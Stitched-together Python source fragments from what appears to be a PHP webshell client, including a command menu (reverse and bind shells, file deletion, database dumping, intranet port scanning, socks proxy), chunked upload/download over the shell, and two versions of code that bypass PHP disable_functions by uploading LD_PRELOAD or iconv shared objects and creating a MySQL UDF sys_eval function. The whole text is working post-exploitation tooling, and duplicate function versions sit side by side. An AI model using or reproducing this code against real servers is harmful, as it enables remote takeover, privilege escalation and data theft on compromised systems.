color.yellow("[i|info] ") + color.cyan("Show website information")) print( color.yellow("[env|getenv] ") + color.cyan("print PHP environment variables by ini_get")) print( color.yellow("[ls|dir] ") + color.cyan("List information about the files")) print( color.yellow("[cd] ") + color.cyan("Change the working directory")) print( color.yellow("[pdf] ") + color.cyan("Print disable functions")) print( color.yellow("[pwd] ") + color.cyan("Print the name of the current working directory")) print( color.yellow("[!|lsh] ") + color.cyan("Run a command on local machine")) print( color.yellow("[b|back] ") + color.cyan("Back to main menu")) print( color.yellow("[q|quit] ") + color.cyan("Quit this program")) print("\n[SHELL]\n") print( color.yellow("[bs|bindshell] ") + color.cyan( "Bind a port and wait for someone to connect to get a shell" )) print( color.yellow("[re|reverse] ") + color.cyan("Reverse shell")) print( color.yellow("[rs|reshell] ") + color.cyan( "(Only for both system is linux) (Testing command) Bind a local port and waiting for target connect back to get a full shell" )) print( color.yellow("[s|shell] ") + color.cyan( "Get a temporary shell of target system by system function or just run a shell command" )) print( color.yellow("[ws|webshell] ") + color.cyan( "Get a webshell of target system or just run a webshell command" )) print( color.yellow("[exec|execute] ") + color.cyan("Execute custom php code")) print("\n[FILE]\n") print(color.yellow("[c|cat] ") + color.cyan("Read file(s)")) print(color.yellow("[w|write] ") + color.cyan("Write file")) print(color.yellow("[e|edit] ") + color.cyan("Modify file")) print(color.yellow("[u|upload] ") + color.cyan("Upload file")) print( color.yellow("[d|download] ") + color.cyan("Download file")) print( color.yellow("[mv|move] ") + color.cyan("Rename file or move it to new_file_path")) print( color.yellow("[rm|remove] ") + color.cyan("Delete target system file(s)")) print( color.yellow("[chmod] ") + color.cyan("(Only for *unix) Changes file mode")) print( color.yellow("[t|touch] ") + color.cyan( "Create an empty file or (Only for *unix) Specify a file whose modification time stamp is the same as a random file in the current directory" )) print( color.yellow("[dump] ") + color.cyan( "Package and compress files in a folder and download it")) print("\n[DETECT]\n") print( color.yellow("[search] ") + color.cyan( "Search file(s) from target system (Support regular expression)" )) print( color.yellow("[fwpf] ") + color.cyan("Search writable php file")) print( color.yellow("[fc] ") + color.cyan("Search config file")) print( color.yellow("[fl] ") + color.cyan("Search log file (access.log,error.log)")) print("\n[DATABASE]\n") print( color.yellow("[db_init] ") + color.cyan("Initialize the database connection")) print( color.yellow("[db_info] ") + color.cyan("Output database information")) print( color.yellow("[db_use] ") + color.cyan("Change current database")) print( color.yellow("[db_dbs] ") + color.cyan("Output all databases")) print( color.yellow("[db_tables] ") + color.cyan("Output all tables of a database")) print( color.yellow("[db_columns] ") + color.cyan("Output all columns of a table")) print( color.yellow("[db_shell] ") + color.cyan("Get a temporary sql shell of target system")) print( color.yellow("[db_dump] ") + color.cyan("Dump a database to a file")) print("\n[OTHER]\n") print(color.yellow("[cls|clear] ") + color.cyan("Clear screen")) print( color.yellow("[log] ") + color.cyan( "(Only for *unix) Write input and output to the log")) print( color.yellow("[sw|switch] ") + color.cyan( "(for input Non-alphanumeric) Switch input to raw input")) print( color.yellow("[ag|agent] ") + color.cyan("Intranet agent")) print( color.yellow("[bobd] ") + color.cyan( "(Only for *unix) Try to bypass open_basedir by ini_set and chdir" )) print( color.yellow("[bdf] ") + color.cyan("Try to bypass disable_functions")) print( color.yellow("[proxy] ") + color.cyan("Set proxy for requests")) print( color.yellow("[ps|portscan] ") + color.cyan("Scan intranet ports")) print( color.yellow("[socks] ") + color.cyan( "(Only for *unix) Run a socks5 server on the target system by python" )) print()
def run(file_path: str, web_file_path: str = "", force: bool = False, blocksize: int = 1024): """ mupload Upload file by block compression and multi threads. eg: mupload {file_path} {web_file_path=file_name} {force=False} {blocksize=1024} """ flag = True if (not web_file_path): web_file_path = path.basename(file_path) flag = False if (not path.isfile(file_path)): print(color.red("\n[Failed] Local File not exist\n")) return res = send(get_php_force(web_file_path, force)) if (not res): return text = res.r_text.strip() if (text == "exist"): print(color.red("\n[Failed] File is already exist\n")) return elif (text == "not writable"): print(color.red("\n[Failed] File path not writable\n")) return global UPLOAD_SUCCESS UPLOAD_SUCCESS = True decode_retry_time = 5 with open(file_path, "rb+") as fp, ThreadPoolExecutor() as tp: fdata = fp.read() file_md5_hash = md5_encode(fdata) print( color.yellow( f"\n[Try] Upload {file_path} HASH: {file_md5_hash} \n")) tdata = b64encode(gzdeflate(fdata)).decode() all_task = [] for n, i in enumerate(range(0, len(tdata), blocksize)): all_task.append( tp.submit(thread_upload, web_file_path, tdata[i:i + blocksize], n, blocksize)) count = len(all_task) wait(all_task, return_when=FIRST_EXCEPTION) for task in reversed(all_task): task.cancel() wait(all_task, return_when=ALL_COMPLETED) if (not UPLOAD_SUCCESS): return while decode_retry_time: res = send(get_php_decode(web_file_path, count)) if (not res): return text = res.r_text.strip() if "success" in text: if (flag): print( color.green( f"\n[Success] Upload {file_path} as {web_file_path} success" )) else: print( color.green( f"\n[Success] Upload {web_file_path} success")) check_md5_hash = text.split(" ")[1] if (check_md5_hash == file_md5_hash): print(color.green(f"[Success] Hash check\n")) else: print(color.red(f"[Failed] Hash check\n")) return True else: print( color.red( f"\n[Failed] Upload error / Request error, retry...")) decode_retry_time -= 1
import builtins from os import path from sys import argv from helpmenu import register_helpmenu from libs.app import Loop_init, run_loop from libs.config import color, gset, gget from libs.debug import DEBUG from libs.myapp import banner if (DEBUG["DEV"]): print(color.yellow("\nDEV MODE")) try: from icecream import ic print(color.yellow("builtin ic functions\nuse it to inspect objects\n")) builtins.ic = ic except ImportError: print(color.red("iceream module is not install\n")) def main(print_banner: bool = True): if (print_banner): banner() gset("root_path", path.split(path.realpath(__file__))[0]) with open(path.join(gget("root_path"), "auxiliary", "user_agents", "ua.txt"), "r") as f: gset("user_agents", f.readlines()) register_helpmenu() run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")
def run(web_file_path: str, local_path: str = "", humansize: str = "1MB", threads: int = 5) -> bool: """ mdownload Download file from target system by block compression and multi threads. eg: mdownload {web_file_path} {local_path=doughnuts/target/site.com/...} {humansize="1MB",eg="10MB"} {threads=5} """ global LOCK, DOWNLOAD_SUCCESS res = send(get_filesize_php(web_file_path)) if (not res): return try: file_size = int(res.r_text.strip()) except ValueError: file_size = 0 try: blocksize = human_to_size(humansize) except Exception: blocksize = file_size // 10 print( color.yellow( f"[Warn] Parse humansize error, set it to {size_to_human(blocksize)}" )) if (blocksize < file_size / 1000): blocksize = file_size // 100 print( color.yellow( f"[Warn] Humansize too small, set it to {size_to_human(blocksize)}" )) file_human_size = color.green(size_to_human(file_size)) if (file_size): download_path = local_path or gget("webshell.download_path", "webshell") file_path = path.join(download_path, path.split(web_file_path)[1]).replace("\\", "/") content_length = 0 chunk_dict = {} with ThreadPoolExecutor(max_workers=threads) as tp, tqdm( total=file_size, desc="Downloading", unit_scale=True) as bar: all_task = [ tp.submit(get_data, web_file_path, n, offset, blocksize) for n, offset in enumerate(range(0, file_size, blocksize)) ] for future in as_completed(all_task): n, chunk = future.result() if (chunk): chunk_dict[n] = chunk with LOCK: content_length += blocksize bar.update(blocksize) else: DOWNLOAD_SUCCESS = False break if (not DOWNLOAD_SUCCESS): for task in reversed(all_task): task.cancel() bar.close() return with open(file_path, "wb") as fp, tqdm(total=file_size, desc="Decompressing", unit_scale=True) as bar: for i in range(len(all_task)): content = gzinflate(b64decode(chunk_dict[i])) fp.write(content) fp.flush() bar.update(blocksize) print( color.green(f"\nDownloaded file has been saved to {file_path}\n")) else: print(color.red("\nFile not exist / Download error\n")) return ''
def run(file_path: str, web_file_path: str = "", force: bool = False, humansize: str = "1MB", threads: int = 5): """ mupload Upload file by block compression and multi threads. eg: mupload {file_path} {web_file_path=file_name} {force=False} {humansize="1MB",eg="10MB"} {threads=5} """ flag = True if (not web_file_path): web_file_path = path.basename(file_path) flag = False if (not path.isfile(file_path)): print(color.red("\n[Failed] Local File not exist\n")) return res = send(get_php_force(web_file_path, force)) if (not res): return text = res.r_text.strip() if (text == "exist"): print(color.red("\n[Failed] File is already exist\n")) return elif (text == "not writable"): print(color.red("\n[Failed] File path not writable\n")) return global UPLOAD_SUCCESS, BAR, BLOCKSIZE, ALL_TASK UPLOAD_SUCCESS = True decode_retry_time = 5 tlen = path.getsize(file_path) ALL_TASK = [] count = 0 print(color.yellow(f"\n[Try] Upload {file_path}\n")) BAR = tqdm(total=tlen, desc="Uploading", unit_scale=True) try: BLOCKSIZE = human_to_size(humansize) except Exception: BLOCKSIZE = tlen // 10 print( color.yellow( f"[Warn] Parse humansize error, set it to {size_to_human(BLOCKSIZE)}" )) if (BLOCKSIZE < tlen / 1000): BLOCKSIZE = tlen // 100 print( color.yellow( f"[Warn] Humansize too small, set it to {size_to_human(BLOCKSIZE)}" )) with open(file_path, "rb+") as fp, ThreadPoolExecutor(max_workers=threads) as tp: for n, i in enumerate(range(0, tlen, BLOCKSIZE)): future = tp.submit( thread_upload, web_file_path, b64encode(gzdeflate(fp.read(BLOCKSIZE))).decode(), n, BLOCKSIZE) future.add_done_callback(update) ALL_TASK.append(future) count += 1 wait(ALL_TASK, return_when=ALL_COMPLETED) sleep(2) if (not UPLOAD_SUCCESS): clean_result = clean(web_file_path, count) if (clean_result): print( color.yellow("\n[Success] Upload error, Clean tmpfile\n")) return BAR.close() while decode_retry_time: res = send(get_php_decode(web_file_path, count)) if (not res): return text = res.r_text.strip() if "success" in text: if (flag): print( color.green( f"\n[Success] Upload {file_path} as {web_file_path} success\n" )) else: print( color.green( f"\n[Success] Upload {web_file_path} success\n")) break else: print( color.red( f"\n[Failed] Upload error / Request error, retry...")) decode_retry_time -= 1 if (not decode_retry_time): clean_result = clean(web_file_path, count) if (clean_result): print( color.yellow("\n[Success] Upload error, Clean tmpfile\n"))
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload if is_windows(): print(color.red("\nNo ld_preload function!\n")) return False disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) # get ld_preload trigger function available_trigger_funcs = [ 'mail', 'error_log', 'mb_send_mail', 'imap_mail' ] ld_preload_funcs = [ f for f in available_trigger_funcs if f not in disable_funcs ] if (not ld_preload_funcs): print(color.red("\nNo ld_preload function!\n")) return False ld_preload_func = choice(ld_preload_funcs) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x" + bits + ".so"), filename, True) if (not upload_result): print(color.red("\nUpload error\n")) return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): # detect plugin dir print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False # make plugin dir print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if is_windows() else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 elif (_ in ["back", "exit", "quit"]): return False else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) # upload so / dll udf_ext = ".dll" if is_windows() else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload(path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, force=True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") # create function sys_eval print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = {'host': '127.0.0.1', 'port': 9000} attack_type = input( "attack_type[gopher(need curl extension)/sock/http_sock]:").lower( ) if (attack_type not in ["gopher", "sock", "http_sock"]): return False gset("webshell.bdf_fpm.type", attack_type, True, "webshell") # input sock path if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") else: # input fpm http host and port for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nport must be number\n")) return False if new_v: requirements_dict[k] = new_v gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") elif (mode == 11): # apache-mod-cgi res = send("""$f=in_array('mod_cgi', apache_get_modules()); $f2=is_writable('.'); $f3=!empty($_SERVER['HTACCESS']); if(!$f){ die("Mod-Cgi not enabled"); } else if (!$f2) { die("Current directory not writable"); } print("success");""") if (res.r_text != "success"): print(color.red(f"\n{res.r_text}\n")) return False elif (mode == 12 and not gget("webshell.ld_preload_path", "webshell", False)): # iconv disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.iconv_path", "webshell", None)): filename = "/tmp/%s" % str(uuid4()) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload(path.join(gget("root_path"), "auxiliary", "iconv", "iconv_x" + bits + ".so"), filename + ".so", force=True) if (not upload_result): print(color.red("\nUpload error\n")) return gconv_modules = f"""module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2 module INTERNAL PAYLOAD// ../../../../../../../..{filename} 2""" send( f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));" ) gset("webshell.iconv_path", filename + ".so", True, "webshell") gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules", True, "webshell") if (not test): if (mode in (7, 10, 12)): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True